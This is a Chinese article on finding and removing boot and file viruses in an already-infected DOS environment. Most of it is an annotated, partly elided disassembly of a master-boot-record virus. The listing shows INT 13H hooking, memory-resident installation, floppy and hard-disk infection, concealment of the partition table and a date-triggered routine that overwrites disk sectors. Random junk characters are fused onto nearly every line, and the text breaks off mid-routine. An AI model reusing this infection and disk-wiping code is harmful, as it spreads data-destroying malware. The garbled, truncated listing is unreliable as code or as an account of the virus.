近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 {a[BhK'g
?? 'n|U
?? 一 、 带毒环境下检测清除病毒的意义 FVXsu!R
?? YnpN
-Y%g
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 Yn?beu'
?? )G48,.
"
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 j*3;G+
?? 5*z>ez2YQ7
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 19fa7E<
?? [Qs`@u<%
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 =z}PR1X!
?? $:u*)&"t|
?? 二 、带毒环境下检测清除病毒的原理 5AT^puL]]
?? QFnuu-82"
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 i[z 2'tx4
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 !Yc:yF
{t;o^pUF
M7BpOmK'
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " Y1cL dQn
病毒体: .vHHw@
JMP 01AF ;JMP到01AF 5 3pW:`
DB 00 ;病毒标计 [P}Bq6;p
DW 00F5 ;此为搬到高位址后,远程跳转指令 Mmz;
uy_
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX ;"D}"nL
DB 02 yl$Ko
DW 0003 ;此为软盘识别标记,硬盘为0007 45 biy(qa
DW EC59 ; -aT-<+?s
DW F000 ;INT 13H的原入口 HD<$0M|
. J@>|`9T9$
. }8^qb5+!3
. :}_hz )
. eX\v;~W*
. .$~3RjM
XOR AX,AX ;清除AX r
(m3"Xu6O
MOV DS,AX; ;让DS=0000 1tbA-+
CLI ;清I标志积存器 +kWWx#L#
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 ^S|qGu,G
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 xn, u$@F
MOV SP,AX ;开机时为0000:7CB6 {)Wf[2zJ
STI ;设I标志积存器 <^nS%hXEr
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A N:|``n>
PUSH AX ;用RETF,把程序转到引导或分区表位置 NioqJG?p
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 ]DnAW'm
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 9o,Eqx4J
MOV AX,[004E] ;取INT 13H的段地址 pbKmFweq
MOV [7C0C],AX ;存到010C emQc%wd{
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 W(s5mX,Kv
;读写以便传播发作 n\;;T1rM
i7)J|(N2.
MOV AX,[0413] ;取得内存K数,放在AX r?)1)?JnHe
DEC AX ; 4!14:mq
DEC AX ;减2k内存 l|+$4 Nb2
MOV [0413],AX ;存回,通常是638K XR]bd
MOV CL,06 ; `Fcr`[
SHL AX,CL ; NtGJpT4YX
MOV ES,AX ;算出减2K后病毒本体的位址 *& w/*h$!
MOV [7C05],AX ;AX存入0105 iUz?mt;k
a6zWg7 PN
;病毒常用手法将系统高段内存减少以便驻留 b
B#QIXY/L
;这样可以免于被其他程序覆盖 pcv\|)&}
ms3"
MOV AX,000E ;病毒拦INT 13H gIO_mJ3 u
;ISR起始的偏移量 Z>UM gu3c
MOV [004C],AX ; =zH)R0!eG
MOV [004E],ES ;设原为病毒的INT 13H 3u t<o-
MOV CX,01BE ;病毒长度为1BE VI|2vV6?
MOV SI,7C00 ;从JMP 01AF开始 y%9Hu
XOR DI,DI ;DI=0 [g`4$_9S
CLD ;清方向标志 ^7Z?}tgU
REPZ; HoX={^aG%
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 R'1j
CS: ;分区表能载入0000:7C00正常运作 >mtwXmI
JMP FAR [7C03] ;跳到为搬过后的位址 OI0@lSAo<
XOR AX,AX ;清AX 9s!R_R&W.
MOV ES,AX ;ES=0000 Za?BpV~
INT 13 ;复位磁盘 e34g=]"
PUSH CS ; A.yIl`'UP#
POP DS ;让DS=CS b7+(g[O
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 Jj0:p"
MOV BX,7C00 ;读到0000:7C00 (I6Q"&h]
MOV CX,[0008] ;硬盘第0道,第7扇区 vz3olHX
CMP CX,+07 ;比较是否从硬盘启动 YHY*dk*|C
JNZ 0213 ;不是跳0213 Migl
MOV DX,0080 ;第一硬盘C:第零面 mQt0?c _
INT 13 ;用INT 13号中断,读 FQ0 ;%Z
JMP 023E ;跳023E比较日期,发作或正常开机 EqBTN07dZS
MOV CX,[0008] ;软盘0道,第3扇区 KbciRRf!k
MOV DX,0100 ;A:的第0面 Myn51pczl
INT 13 ;INT 13读盘 Kc@Sw{JR#7
JB 023E ;失败跳023E ,*9gy$
PUSH CS eVX/<9>
POPES ;让ES=CS xEq? [M
MOV AX,0201 ; 4Wvefq"
MOV BX,0200 ; sUQ
Q/F6
MOV CX,0001 ; GbQg(%2F
MOV DX,0080 ; vqVwo\oEdU
INT 13 ;读入C:的分区表到0200,以便下面比较 (+xT5 2
JB 023E ;失败跳023E ?MfwRWY
XOR SI,SI ;清SI t+pA9^$[`
CLD ;清方向标志以便比较 .=yv m
LODSW ;载入一个WORD到AX \R-'<kN.*
CMP AX,[BX] ;比较有无病毒存在..E9AC \|B\7a'4
JNZ 0287 ;没有则跳0287传染 ]
X)~D!mA
LODSW ;载入一个WORD到AX a-nn[j
CMP AX,[BX+02] ;再次确认..0000 4$mtc*tzT
JNZ 0287 ;没有跳0287 wSM(!:on5
XOR CX,CX ;清CX 0ap'6
MOV AH,04 ; 0"GLgj:9
INT 1A ;取得日期 8N |K
CMP DX,0306 ;是否为三月六日 egr"og{
JZ 024B ;是跳024B传染 "~zLG"
RETF ;把程序交还给引导启动完成 '6g-]rE[
GJU9[
步骤4:病毒INT 13代码分析 Lr
d-
方法:U ;bHS^
PUSH DS ;首先把要用到积存器 ,h/l-#KS
PUSH AX ;入栈保存 xzFQ)t&
OR DL,DL ;比较是否为软盘 u"wWekB
JNZ 002F ;如不是则退出传染 M^e}w!U
XOR AX,AX ;AX=0 UUvCi+W
MOV DS,AX ;数据代段=0 Zz QLbCV
TEST BYTE PTR [043F],01 ;比较是否为A盘 /2*BdE[yG
JNZ 002F ;不是则退出 i6P$>8jBQ-
POP AX ;将以上保存积存器 mQSn*;9\T3
POP DS ;弹栈恢复 pp{p4Z
PUSHF ;压栈标志积存器 J,=ZUh@M
CS: ;以便执行原INT 13 bI(8Um6m
CALL FAR [000A] ;执行原INT 13 Ejf5M\o
PUSHF ;再次压栈 QctzIC#;k
CALL 0036 ;以便跳转到传染程序 0V8 6]zSo
POPF ;跳转到执行传染 <c<!|<x
RETF 0002 ;结束中断调用返回 ox\D04:M
POP AX ;恢复 .A_R6~::
POP DS ;堆栈 y!rJ}e
CS: ;跳转到原正常INT 13 &m\Uc
JMP FAR [000A] ;地址执行 r1}1lJ>7H
4pelIoj
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 i]4n YYS
9:=:P>
步骤5:传染过程分析 ]n"U])pJd
方法:U $b7@S`5
对软盘传染过程: -II03 S1
PUSH AX ;工 3` D['
PUSH BX ;作 1{a4zGE?[
PUSH CX ;寄 4M6[5RAW{
PUSH DX ;存 ;i/? fw[h
PUSH DS ;器 5DkEJk7a
PUSH ES ;入 a0 PU&o1EF
PUSH SI ;栈 -okq=9
PUSH DI ;保存 !"-.D4*r
PUSH CS ;以压/弹栈方式 N>Uxq&)!
POP DS ;使数据段DS和 OjG`s-91&
PUSH CS ;附加段ES均指向 CBpwtI>p
POP ES ;代码段CS >,_0Mem2Rr
MOV SI,0004 ;试4次 6R$Yh0%
MOV AX,0201 ;设置各 =w"Kkj>%oh
MOV BX,0200 ;积存器 7`^Y*:(
MOV CX,0001 ;为读软盘 y7rT[f/J
XOR DX,DX ;引导扇区做准备 _% \%
PUSHF ;压栈标志积存器 ;mGPX~38
CALL FAR [000A] ;正常的INT 13调用 + 660/ e8N
JNB 0063 ;成功则转判断 S;D]ym
XOR AX,AX ;不成功复位 !#*#ji xo
PUSHF ;磁盘继续读 \j BA4?(S
CALL FAR [000A] ;如果4次 &N+`O)$
DEC SI ;均匀不成功 QP%Hwt]+
JNZ 0045 ;则退出跳转 xdz 6[8d8
JMP 00A6 ;退出传染 JL{fW>5y|
XOR SI,SI ;SI=0以便用 iC^91!<
CLD ;LODSW读入软盘 llh
+r?
LODSW ;第1或第2字进行比较 Z)=S>06X Q
CMP AX,[BX] ;比较如果不包含病毒标志 =3SJl1w1
JNZ 0071 ;则跳转写传染 `,/5skeJ
LODSW ;如果已有标志 #Dz"g_d
CMP AX,[BX+02] ;则退出 G|-RscPe
JZ 00A6 ;传染子程序 =A{'57yP
MOV AX,0301 ;为写盘准备 61&{I>~1
MOV DH,01 ;如果是360K kq?:<!z
MOV CL,03 ;则写到1面0道3扇区 x>BFK@#
CMP BYTE PTR [BX+15],FD ;比较软盘 >=:mtcph
JZ 0080 ;如果大于360K _/cX!/"
MOV CL,0E ;写到1面0道14扇区 m^m=/'<+
MOV [0008],CX ;写病毒标志到软盘 n+Conp/
PUSHF ;调用原INT 13 _y>drvg
CALL FAR [000A] ;进行传染 Lp@Al#X55
JB 00A6 (18ZEKk
MOV SI,03BE ;以下是将正常 0pW;H|h
MOV DI,01BE ;引导扇区从 uR.pQo07y<
MOV CX,0021 ;1BE起的21字节内容 !
9*l!(
CLD ;搬移到病毒程序尾部 QHUFS{G]
REPZ ;开始复制 s"w^E\>6
MOVSW qvGmJN0
MOV AX,0301 ;写盘功能调用,写一个扇区 '73}{" '
XOR BX,BX ;将病毒程序 5`Uzx u
MOV CX,0001 ;写入软盘引导扇区内 fl9VokAT
XOR DX,DX ;设置为软盘 J.U%W}Hx
PUSHF "*l{ m2"
CALL FAR [000A] ;执行正常INT 13调用写盘 AGS(ud{
POP DI ;将 ePv`R'#
POP SI ;工 `v<S
POP ES ;作 P_8!Gp
POP DS ;寄 Pec Zuv
POP DX ;存 &?5)Jis:
POP CX ;器 8'TIDu
POP BX ;退 \ISg6v{/
POP AX ;栈 dV'^K%#
RET ;返回调用处 `/N={
对硬盘传染过程: n6Uf>5
MOV CX,0007 ;第7扇区 :)B1|1
MOV [0008],CX ;此处为硬盘引导标记 :7obxW1X
MOV AX,301 ;写功能调用 xE!0p EHd
MOV DX,0080 ;设置为硬盘 ,g*3u
INT 13 ;将正常引导扇区写到0面0道7扇区内 ZPq.|6&
JB 13E ;失败则转 88[u^aC
MOV SI,03BE ;原分区表地址 6|3 X*Orn
MOV DI,01BE ;目标地址 V\r{6-%XiW
MOV CX,0021 ;整个分区表 !Yn#3c
REPNZ J9j
@V4
MOVSW ;开始复制 #=ij</
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 #;@I.
;这样在分析着查看硬盘分区信息时仍能看到该部分 kv+^U^WoU
;内容,以次来麻痹分析者 2Kr>93O
MOV AX,0301 ;准备写病毒提进硬盘 Df *<3G
XOR BX,BX ;病毒体位置 dvZlkMm
INC CL ;第一扇区 *HGhm04F{
INT 13 ;开始写盘传染 /0fsn_
JMP 013E ;转到13E处判断是否为3月6日,是则发作 mQ`2c:Rn&7
5M5vxJ)Lh
步骤6:破坏过程分析 ;
2V$`k
方法:U IqsUtWSp
主要分析对硬盘数据破坏: D Y4!RjJ47
. gVh&c4
. _j0xL{&&
. g&EK^q
. P2C>IS
. (pP.*`JRv
MOV DL,80 2*#i/SE_
MOV BYTE PTR[0007],04 "_dg$j`Y&&
;准备写硬盘 Ij =NcP
MOV AL,11 ;写17个扇区 XD0a :T)
MOV BX,5000 BYhiP/^
MOV ES,BX ;从内存ES:5000中处开始写 ZUS5z+o
INT 13 ;残不人睹 .7 LQ l?
JNB 0179 ;成功转179继续写 `"yxmo*0
XOR AH,AH *!*%~h8V
INT 13 ;不成功复位磁盘继续 T{`VUS/
INC DH ;使写操作磁头加1继续? t)?K@{ 9
CMP DH,[0007] ;比较是否小于0007单元值 FeO1%#2<y
JB 0150 ;是则返回开始处继续写 &y